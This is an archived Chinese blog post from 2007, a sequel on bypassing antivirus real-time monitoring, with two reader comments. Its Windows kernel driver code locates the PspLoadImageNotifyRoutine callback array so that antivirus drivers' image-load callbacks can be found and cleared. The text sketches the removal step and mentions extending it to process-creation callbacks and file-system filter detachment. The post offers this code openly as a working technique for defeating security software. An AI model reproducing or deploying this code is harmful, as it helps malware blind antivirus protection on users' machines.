垃圾堆——windowssky
人生就象一场旅行 不必在乎目的地 在乎的是沿途的风景以及看风景的心情
<2009年1月>
28293031123
45678910
11121314151617
18192021222324
25262728293031
1234567

留言簿(1)

随笔分类

随笔档案

文章档案

相册

NDIS IFS

内核研究

基础知识

安全技术

操作系统

病毒技术

网络技术

逆向工程

驱动开发

搜索

最新评论

阅读排行榜

评论排行榜

 
VC知识库BLOG   首页  新随笔  联系  聚合  登录 
  随笔-21 文章-0 评论-31 Trackbacks-0

上次说的绕过杀毒软件之一(实时监控篇)中,提供了解决方法这是对应代码:
(至于如何清理具体驱动的NotfiyRoutine,就是找到驱动所加载的地址,用PsLoadedModuleList或ZwQuerySystemInformation,然后判断PspLoadImageNotifyRoutine中的项是否落在此驱动范围,
我在这就不罗嗦了,自己动手去)

//FixNotify.h
//It's for find PspLoadImageNotifyRoutine Addr
//for anti-anti-virus or anti-trojan
#ifndef __FIX_NOTIFY__
#define __FIX_NOTIFY__

DWORD FindPspLoadImageNotifyRoutine(void);

NTSTATUS InitFixNotify(void);

VOID MyNotifyRoutine(IN PUNICODE_STRING  FullImageName,
      IN HANDLE  ProcessId,
      IN PIMAGE_INFO  ImageInfo);

#endif



//FixNotify.cpp
#include "FixNotify.h"

NTSTATUS InitFixNotify(void)
{
 return PsSetLoadImageNotifyRoutine(MyNotifyRoutine);
}

VOID MyNotifyRoutine(IN PUNICODE_STRING  FullImageName,
      IN HANDLE  ProcessId,
      IN PIMAGE_INFO  ImageInfo)
{
    return;
}

DWORD FindPspLoadImageNotifyRoutine(void)
{
 UINT           i,j;
 BYTE*          pCheckArea;
 DWORD          dwCheckAddr;
 DWORD          dwNotifyItemAddr;
 DWORD*         pPspLINotifyRoutine;
 UNICODE_STRING unstrFunc;

 RtlInitUnicodeString(&unstrFunc, L"PsSetLoadImageNotifyRoutine");
 
 pCheckArea = (BYTE*)MmGetSystemRoutineAddress (&unstrFunc) ;
 if (!pCheckArea)
 {
  KdPrint(("[RTMonitor] MmGetSystemRoutineAddress failed."));
  return 0;
 }
 
 
 for (i=0; i<100; i++)
 {
  dwCheckAddr         = *(DWORD*)pCheckArea;
  pPspLINotifyRoutine = (DWORD*)dwCheckAddr;
  
  if (MmIsAddressValid(pPspLINotifyRoutine))
  {
   KdPrint(("[RTMonitor] Vaild Addr: %x", pPspLINotifyRoutine));
   
   dwNotifyItemAddr = *pPspLINotifyRoutine;
   
//内核中关于Notify地址记录问题,在winxp(win2003)与win2000(NT4.0)下差异很大
#if defined (_WINXP_) || defined (_WIN2003_)

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr != NULL && MmIsAddressValid((void*)dwNotifyItemAddr))
    {
     if (*(DWORD*)(dwNotifyItemAddr-3) == (DWORD)MyNotifyRoutine)
     {
      
      KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
      
      return (DWORD)pPspLINotifyRoutine;      
     }
    }
    dwNotifyItemAddr++;
   }
#else

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr == (DWORD)MyNotifyRoutine)
    {
     
     KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
     
     return (DWORD)pPspLINotifyRoutine;      
    }
    dwNotifyItemAddr++;
   }
#endif
   
  }
  pCheckArea++;
 }
 
 return 0;
}


ps:关于PsSetCreateProcessNotifyRoutine和Attach File System部分,我在下面一篇文章会分析,
1)PsSetCreateProcessNotifyRoutine修复的方法和PsSetLoadImageNotifyRoutine一样。
2)Attach File System修复的方法是通用解除Attach的方法!详见IoAttachDevice的实现,反过来就可以了。
具体参见下篇文章 :)

posted on 2007-06-08 17:22 垃圾一堆 阅读(3518) 评论(2)  编辑 收藏
Comments
  • # re: 绕过杀毒软件之一(实时监控篇)续
    welfear
    Posted @ 2007-06-20 13:11
    期待................
  • # re: 绕过杀毒软件之一(实时监控篇)续
    Zhuyie
    Posted @ 2008-07-01 15:01
    实际上,从XP开始M$引入了PsRemoveLoadImageNotifyRoutine/PsRemoveCreateThreadNotifyRoutine,因此用MmGetSystemRoutineAddress+上述函数来清理是最安全的做法,仅2k需要自己hack。
标题  
姓名  
主页
验证码 *
内容   
  登录  使用高级评论  Top
[使用Ctrl+Enter键可以直接提交]